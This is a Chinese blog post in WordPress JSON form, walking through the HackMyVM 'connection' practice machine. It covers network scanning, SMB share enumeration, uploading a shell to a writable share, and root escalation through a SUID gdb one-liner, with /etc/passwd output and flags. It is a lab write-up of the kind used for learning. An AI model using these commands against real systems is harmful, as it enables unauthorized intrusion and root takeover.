{"id":413,"date":"2024-03-18T01:07:26","date_gmt":"2024-03-17T17:07:26","guid":{"rendered":"http:\/\/162.14.82.114\/?p=413"},"modified":"2024-03-24T21:46:03","modified_gmt":"2024-03-24T13:46:03","slug":"hmv-_-connection","status":"publish","type":"post","link":"http:\/\/162.14.82.114\/index.php\/413\/03\/18\/2024\/","title":{"rendered":"hmv[-_-]connection"},"content":{"rendered":"

connection<\/h1>\n

\u4e4b\u524d\u548cpwned<\/code>\u4e00\u8d77\u505a\u7684\uff0c\u90fd\u626b\u4e0d\u5230\uff0c\u5c1d\u8bd5\u4e00\u4e0b\u4e00\u6837\u7684\u505a\u6cd5\uff1a<\/p>\n

ro<\/code>\u6539\u4e3a;rw signie init=\/bin\/bash<\/code> <\/p>\n

rw\u8bfb\u5199 signie\u5355\u7528\u6237 \u547d\u4ee4\u6743\u9650\/bin\/bash<\/code><\/pre>\n
\n
\u5199\u7684\u65f6\u5019\u72af\u9519\u4e86\uff0c\u5b9e\u9645\u4e0a\u5355\u7528\u6237\u6a21\u5f0f\u5e94\u8be5\u662fsingle<\/code>\u800c\u975esignie<\/code>,\u7fa4\u4e3b\u5927\u5927ll104567<\/a>\u544a\u8bc9\u6211\u5728\u8fd9\u91cc\u5982\u679c\u662f\u5355\u7528\u6237\u6a21\u5f0f\uff0c\u5199\u548c\u4e0d\u5199\u5e94\u8be5\u6548\u679c\u90fd\u4e00\u6837\u3002<\/p>\n<\/blockquote>\n
\u7136\u540ectrl+x<\/code>\u8fdb\u5165\u5355\u7528\u6237\u6a21\u5f0f<\/p>\n
vim \/etc\/network\/interfaces<\/code><\/pre>\n
\u4fee\u6539\u7f51\u5361\u6587\u4ef6\uff0c\u90fd\u6539\u4e3a\u8ddf\u4e0a\u9762\u4e00\u6837\u7684\u7f51\u5361<\/p>\n
\/etc\/init.d\/networking restart<\/code><\/pre>\n
\u6ca1\u7528\uff0c\u9700\u8981key\uff0c\u5c1d\u8bd5\u626b\u4e00\u4e0b\uff1a<\/p>\n
\u6211\u6362\u4e00\u4e2awifi<\/code>\u800c\u4e0d\u662f\u6821\u56ed\u7f51\uff0c\u597d\u50cf\u5c31\u626b\u51fa\u6765\u4e86\uff01<\/p>\n
\"image-20240318000858653\"<\/div>
\n
\"image-20240318001155350\"<\/div><\/p>\n
\u574f\u4e8b\uff0c\u4e0d\u662f\u8fd9\u54e5\u4eec\uff0c\u91cd\u65b0ping\u4e00\u4e0b\uff1a<\/p>\n
\u250c\u2500\u2500(kali\u327fkali)-[~]\n\u2514\u2500$ fping -aqg 192.168.0.0\/24\n192.168.0.1\n192.168.0.113\n192.168.0.126<\/code><\/pre>\n
\u6ca1\u627e\u5230\uff0c\u4f30\u8ba1\u53c8\u4e0d\u5728\u4e00\u4e2a\u5b50\u7f51\u4e0b\uff0c\u8fd9\u7f51\u914d\u7684\u7a00\u5df4\u70c2\u3002<\/p>\n
\u91cd\u65b0\u5c1d\u8bd5\uff0c\u53d1\u73b0\u7f51\u4e0a\u7684\u5199\u9519\u4e86\uff1b<\/p>\n
rw signie init=\/bin\/bash  # \u5343\u4e07\u524d\u9762\u522b\u65e0\u4e2d\u751f\u6709\u52a0\u4e2a\uff1b\nctrl+x\nvi \/etc\/network\/interfaces\n\/etc\/init.d\/networking restart<\/code><\/pre>\n
\n
\u8fd9\u91cc\u6211\u72af\u4e86\u4e00\u4e2a\u5c0f\u9519\u8bef\uff0c\u7fa4\u4e3b\u5927\u5927ll104567<\/a>\u53d1\u73b0\u4e86\u8fd9\u4e00\u9519\u8bef\uff0cgrub\u7684\u65f6\u5019\u5199rw single init=\/bin\/bash<\/code>\u6216\u8005rw init=\/bin\/bash<\/code>\u90fd\u884c\uff0c\u800csignie\u8fd9\u4e00\u547d\u4ee4\u662f\u4e0d\u88ab\u652f\u6301\u7684\uff08\u6ca1\u627e\u5230\u8fd9\u4e00\u547d\u4ee4\u5b58\u5728\uff09\u3002<\/p>\n<\/blockquote>\n
\"image-20240318002212530\"<\/div><\/p>\n
\"image-20240318002347964\"<\/div>
\n
\"image-20240318002445576\"<\/div><\/p>\n
\u53d1\u73b0\u53ef\u4ee5\u626b\u5230\u4e86\uff01\uff01\uff01\uff01\u3001<\/p>\n
\"image-20240318002511383\"<\/div><\/p>\n
\u4fe1\u606f\u641c\u96c6<\/h2>\n
\u7aef\u53e3\u626b\u63cf<\/h3>\n
rustscan -a 192.168.0.176 -- -A -sV<\/code><\/pre>\n
Open 192.168.0.176:22\nOpen 192.168.0.176:139\nOpen 192.168.0.176:445\nOpen 192.168.0.176:80<\/code><\/pre>\n
PORT    STATE SERVICE     REASON  VERSION\n22\/tcp  open  ssh         syn-ack OpenSSH 7.9p1 Debian 10+deb10u2 (protocol 2.0)\n| ssh-hostkey: \n|   2048 b7:e6:01:b5:f9:06:a1:ea:40:04:29:44:f4:df:22:a1 (RSA)\n| ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCxNh+4rTxFF\/c8dZwGAg+SIl5zJE1Rq8y3vlHZ2P7gTdRQDb7XlWK8W5O0XVtBVqWlvLZlHIOniUJlSlcps51cHo58B9KczrZME5phRmiYLOo2pTBmra6sZADq7mmlHkpz1LbpmgzSGchrrp9pSxUjcdmpffhgd79i\/q0d4ya7vK4R\/tcegMNUxjkmW83JCu0Mc2qw3JvzqCQ5BGyrgGrsb4VguV\/MZrPzX8nwM7i2ivsg+d171360aa9SXtoGELkBfeqCOKRCOckw2gfQlo2tsdc26jwimBygMPpkAH87zMJdl5iEX7p9tPr4ddIp9DtPjsSB3Cu2ObOr9iAYVvy5\n|   256 fb:16:94:df:93:89:c7:56:85:84:22:9e:a0:be:7c:95 (ECDSA)\n| ecdsa-sha2-nistp256 AAAAE2VjZHNhLXNoYTItbmlzdHAyNTYAAAAIbmlzdHAyNTYAAABBBNHVs0JAs\/3OsoWURkn+P6KrjxC1zzMry+q3H+RX+UW05NQvD3NORKjL0gnr+LOumhE1cMGmCgMTcaJ41T5nbxM=\n|   256 45:2e:fb:87:04:eb:d1:8b:92:6f:6a:ea:5a:a2:a1:1c (ED25519)\n|_ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIM9EVXAcxAJmQLNl3ttKL8QEWy+X+0R\/rmS0tyt\/bd2t\n80\/tcp  open  http        syn-ack Apache httpd 2.4.38 ((Debian))\n| http-methods: \n|_  Supported Methods: OPTIONS HEAD GET POST\n|_http-title: Apache2 Debian Default Page: It works\n|_http-server-header: Apache\/2.4.38 (Debian)\n139\/tcp open  netbios-ssn syn-ack Samba smbd 3.X - 4.X (workgroup: WORKGROUP)\n445\/tcp open  netbios-ssn syn-ack Samba smbd 4.9.5-Debian (workgroup: WORKGROUP)\nService Info: OS: Linux; CPE: cpe:\/o:linux:linux_kernel\n\nHost script results:\n| smb2-security-mode: \n|   3:1:1: \n|_    Message signing enabled but not required\n|_clock-skew: mean: 1h20m00s, deviation: 2h18m33s, median: 0s\n| smb2-time: \n|   date: 2024-03-17T16:28:47\n|_  start_date: N\/A\n| nbstat: NetBIOS name: CONNECTION, NetBIOS user: <unknown>, NetBIOS MAC: <unknown> (unknown)\n| Names:\n|   CONNECTION<00>       Flags: <unique><active>\n|   CONNECTION<03>       Flags: <unique><active>\n|   CONNECTION<20>       Flags: <unique><active>\n|   \\x01\\x02__MSBROWSE__\\x02<01>  Flags: <group><active>\n|   WORKGROUP<00>        Flags: <group><active>\n|   WORKGROUP<1e>        Flags: <group><active>\n| Statistics:\n|   00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00\n|   00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00\n|_  00:00:00:00:00:00:00:00:00:00:00:00:00:00\n| p2p-conficker: \n|   Checking for Conficker.C or higher...\n|   Check 1 (port 61342\/tcp): CLEAN (Couldn't connect)\n|   Check 2 (port 25410\/tcp): CLEAN (Couldn't connect)\n|   Check 3 (port 58819\/udp): CLEAN (Failed to receive data)\n|   Check 4 (port 48870\/udp): CLEAN (Failed to receive data)\n|_  0\/4 checks are positive: Host is CLEAN or ports are blocked\n| smb-security-mode: \n|   account_used: guest\n|   authentication_level: user\n|   challenge_response: supported\n|_  message_signing: disabled (dangerous, but default)\n| smb-os-discovery: \n|   OS: Windows 6.1 (Samba 4.9.5-Debian)\n|   Computer name: connection\n|   NetBIOS computer name: CONNECTION\\x00\n|   Domain name: \\x00\n|   FQDN: connection\n|_  System time: 2024-03-17T12:28:47-04:00<\/code><\/pre>\n
\u76ee\u5f55\u626b\u63cf<\/h3>\n
\u770b\u4e00\u4e0b80<\/code>\u7aef\u53e3\uff1a<\/p>\n
\"image-20240318003511573\"<\/div><\/p>\n
\/icons\/               (Status: 403) [Size: 278]\n\/server-status\/       (Status: 403) [Size: 278]<\/code><\/pre>\n
SMB\u670d\u52a1\u679a\u4e3e<\/h3>\n
139<\/code>\u3001445<\/code>\u5f00\u6e9cSMB\u670d\u52a1\uff0c\u770b\u4e00\u4e0b\uff1a<\/p>\n
smbmap -H 192.168.0.176<\/code><\/pre>\n
[+] IP: 192.168.0.176:445       Name: connection                Status: Authenticated\n        Disk                                                    Permissions     Comment\n        ----                                                    -----------     -------\n        share                                                   READ ONLY\n        print$                                                  NO ACCESS       Printer Drivers\n        IPC$                                                    NO ACCESS       IPC Service (Private Share for uploading files)<\/code><\/pre>\n
\u5b58\u5728share<\/code>\u6587\u4ef6\u5939\uff0c\u4f46\u662f\u53ea\u8bfb\u3002<\/p>\n
\u6f0f\u6d1e\u5229\u7528<\/h2>\n
\u8fdb\u53bb\u770b\u4e00\u4e0b:<\/p>\n
# smbclient -N \\\\192.168.0.176\\share \u9700\u8981\u5bf9\u53cd\u659c\u6760\u8fdb\u884c\u8f6c\u4e49\nsmbclient -N \\\\\\\\192.168.0.176\\\\share<\/code><\/pre>\n
\"image-20240318005211823\"<\/div><\/p>\n
\u4f20\u6765\u4e00\u4e2ashell\u4e0a\u53bb\uff01\uff01\uff01\uff08\u5b83\u672c\u8eab\u53ea\u8bfb\u4e0d\u4ee3\u8868\u5b83\u7684\u5b50\u76ee\u5f55\u4e5f\u53ea\u8bfb\uff01\uff09<\/p>\n
\u8bbf\u95ee\u6fc0\u6d3bshell\uff01\uff01<\/p>\n
\"image-20240318005306123\"<\/div><\/p>\n
\u63d0\u6743<\/h2>\n
\u6269\u5c55shell<\/h3>\n
python -c 'import pty;pty.spawn("\/bin\/bash")'<\/code><\/pre>\n
\u67e5\u770b\u57fa\u7840\u4fe1\u606f<\/h3>\n
\"image-20240318005659772\"<\/div><\/p>\n
www-data@connection:\/$ cat \/etc\/passwd\ncat \/etc\/passwd\nroot:x:0:0:root:\/root:\/bin\/bash\ndaemon:x:1:1:daemon:\/usr\/sbin:\/usr\/sbin\/nologin\nbin:x:2:2:bin:\/bin:\/usr\/sbin\/nologin\nsys:x:3:3:sys:\/dev:\/usr\/sbin\/nologin\nsync:x:4:65534:sync:\/bin:\/bin\/sync\ngames:x:5:60:games:\/usr\/games:\/usr\/sbin\/nologin\nman:x:6:12:man:\/var\/cache\/man:\/usr\/sbin\/nologin\nlp:x:7:7:lp:\/var\/spool\/lpd:\/usr\/sbin\/nologin\nmail:x:8:8:mail:\/var\/mail:\/usr\/sbin\/nologin\nnews:x:9:9:news:\/var\/spool\/news:\/usr\/sbin\/nologin\nuucp:x:10:10:uucp:\/var\/spool\/uucp:\/usr\/sbin\/nologin\nproxy:x:13:13:proxy:\/bin:\/usr\/sbin\/nologin\nwww-data:x:33:33:www-data:\/var\/www:\/usr\/sbin\/nologin\nbackup:x:34:34:backup:\/var\/backups:\/usr\/sbin\/nologin\nlist:x:38:38:Mailing List Manager:\/var\/list:\/usr\/sbin\/nologin\nirc:x:39:39:ircd:\/var\/run\/ircd:\/usr\/sbin\/nologin\ngnats:x:41:41:Gnats Bug-Reporting System (admin):\/var\/lib\/gnats:\/usr\/sbin\/nologin\nnobody:x:65534:65534:nobody:\/nonexistent:\/usr\/sbin\/nologin\n_apt:x:100:65534::\/nonexistent:\/usr\/sbin\/nologin\nsystemd-timesync:x:101:102:systemd Time Synchronization,,,:\/run\/systemd:\/usr\/sbin\/nologin\nsystemd-network:x:102:103:systemd Network Management,,,:\/run\/systemd:\/usr\/sbin\/nologin\nsystemd-resolve:x:103:104:systemd Resolver,,,:\/run\/systemd:\/usr\/sbin\/nologin\nmessagebus:x:104:110::\/nonexistent:\/usr\/sbin\/nologin\navahi-autoipd:x:105:112:Avahi autoip daemon,,,:\/var\/lib\/avahi-autoipd:\/usr\/sbin\/nologin\nconnection:x:1000:1000:connection,,,:\/home\/connection:\/bin\/bash\nsystemd-coredump:x:999:999:systemd Core Dumper:\/:\/usr\/sbin\/nologin\nsshd:x:106:65534::\/run\/sshd:\/usr\/sbin\/nologin<\/code><\/pre>\n
\u7b49\u4e0b\uff0c\u53d1\u73b0gdb<\/code>\u6709suid\uff0c\u8fd9\u5012\u662f\u7b2c\u4e00\u56de\u89c1\uff0c\u67e5\u770b\u4e00\u4e0b\u6709\u65e0\u5229\u7528\u7684\u65b9\u6cd5\uff1a<\/p>\n
\"image-20240318010006183\"<\/div><\/p>\n
\u9614\u4ee5\uff01\u6539\u4e00\u4e0b\uff0c\u5229\u7528\u4e00\u4e0b\u3002<\/p>\n
gdb -nx -ex 'python import os; os.execl("\/bin\/bash", "bash", "-p")' -ex quit<\/code><\/pre>\n
\u63d0\u53d6\u5230\u4e86root<\/code>\uff0c\u83b7\u53d6\u4e00\u4e0bflag\uff1a<\/p>\n
www-data@connection:\/$ gdb -nx -ex 'python import os; os.execl("\/bin\/bash", "bash", "-p")' -ex quit\n# <t os; os.execl("\/bin\/bash", "bash", "-p")' -ex quit\n# GNU gdb (Debian 8.2.1-2+b3) 8.2.1\n# Copyright (C) 2018 Free Software Foundation, Inc.\n# License GPLv3+: GNU GPL version 3 or later <http:\/\/gnu.org\/licenses\/gpl.html>\n# This is free software: you are free to change and redistribute it.\n# There is NO WARRANTY, to the extent permitted by law.\n# Type "show copying" and "show warranty" for details.\n# This GDB was configured as "x86_64-linux-gnu".\n# Type "show configuration" for configuration details.\n# For bug reporting instructions, please see:\n# <http:\/\/www.gnu.org\/software\/gdb\/bugs\/>.\n# Find the GDB manual and other documentation resources online at:\n#     <http:\/\/www.gnu.org\/software\/gdb\/documentation\/>.\n\n# For help, type "help".\n# Type "apropos word" to search for commands related to "word".\nbash-5.0# whoami;id\nwhoami;id\n# root\n# uid=33(www-data) gid=33(www-data) euid=0(root) egid=0(root) groups=0(root),33(www-data)\nbash-5.0# cd \/root\n# cd \/root\nbash-5.0# ls -la\n# ls -la\n# total 24\n# drwx------  3 root root 4096 Sep 22  2020 .\n# drwxr-xr-x 18 root root 4096 Sep 22  2020 ..\n# lrwxrwxrwx  1 root root    9 Sep 22  2020 .bash_history -> \/dev\/null\n# -rw-r--r--  1 root root  570 Jan 31  2010 .bashrc\n# drwxr-xr-x  3 root root 4096 Sep 22  2020 .local\n# lrwxrwxrwx  1 root root    9 Sep 22  2020 .mysql_history -> \/dev\/null\n# -rw-r--r--  1 root root  148 Aug 17  2015 .profile\n# -rwx------  1 root root   33 Sep 22  2020 proof.txt\nbash-5.0# cat proof.txt\n# cat proof.txt\n# a7c6ea4931ab86fb54c5400204474a39\nbash-5.0# cd \/home\n# cd \/home\nbash-5.0# ls -la\n# ls -la\n# total 12\n# drwxr-xr-x  3 root       root       4096 Sep 22  2020 .\n# drwxr-xr-x 18 root       root       4096 Sep 22  2020 ..\n# drwxr-xr-x  3 connection connection 4096 Sep 22  2020 connection\nbash-5.0# cd connection \n# cd connection\nbash-5.0# ls -la\n# ls -la\n# total 28\n# drwxr-xr-x 3 connection connection 4096 Sep 22  2020 .\n# drwxr-xr-x 3 root       root       4096 Sep 22  2020 ..\n# lrwxrwxrwx 1 connection connection    9 Sep 22  2020 .bash_history -> \/dev\/null\n# -rw-r--r-- 1 connection connection  220 Sep 22  2020 .bash_logout\n# -rw-r--r-- 1 connection connection 3526 Sep 22  2020 .bashrc\n# drwxr-xr-x 3 connection connection 4096 Sep 22  2020 .local\n# lrwxrwxrwx 1 connection connection    9 Sep 22  2020 .mysql_history -> \/dev\/null\n# -rw-r--r-- 1 connection connection  807 Sep 22  2020 .profile\n# -rw-r--r-- 1 connection connection   33 Sep 22  2020 local.txt\nbash-5.0# cat local.txt\ncat local.txt\n# 3f491443a2a6aa82bc86a3cda8c39617<\/code><\/pre>\n
\u957f\u89c1\u8bc6\u4e86\uff0cgdb\u63d0\u6743\uff01\uff01\uff01<\/p>\n","protected":false},"excerpt":{"rendered":"
connection \u4e4b\u524d\u548cpwned\u4e00\u8d77\u505a\u7684\uff0c\u90fd\u626b\u4e0d\u5230\uff0c\u5c1d\u8bd5\u4e00\u4e0b\u4e00\u6837\u7684\u505a\u6cd5\uff1a ro\u6539\u4e3a;rw signie  […]<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[11,24,18],"tags":[],"class_list":["post-413","post","type-post","status-publish","format-standard","hentry","category-ctf-and-protest","category-penetration-test","category-web"],"_links":{"self":[{"href":"http:\/\/162.14.82.114\/index.php\/wp-json\/wp\/v2\/posts\/413","targetHints":{"allow":["GET"]}}],"collection":[{"href":"http:\/\/162.14.82.114\/index.php\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"http:\/\/162.14.82.114\/index.php\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"http:\/\/162.14.82.114\/index.php\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"http:\/\/162.14.82.114\/index.php\/wp-json\/wp\/v2\/comments?post=413"}],"version-history":[{"count":3,"href":"http:\/\/162.14.82.114\/index.php\/wp-json\/wp\/v2\/posts\/413\/revisions"}],"predecessor-version":[{"id":461,"href":"http:\/\/162.14.82.114\/index.php\/wp-json\/wp\/v2\/posts\/413\/revisions\/461"}],"wp:attachment":[{"href":"http:\/\/162.14.82.114\/index.php\/wp-json\/wp\/v2\/media?parent=413"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"http:\/\/162.14.82.114\/index.php\/wp-json\/wp\/v2\/categories?post=413"},{"taxonomy":"post_tag","embeddable":true,"href":"http:\/\/162.14.82.114\/index.php\/wp-json\/wp\/v2\/tags?post=413"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}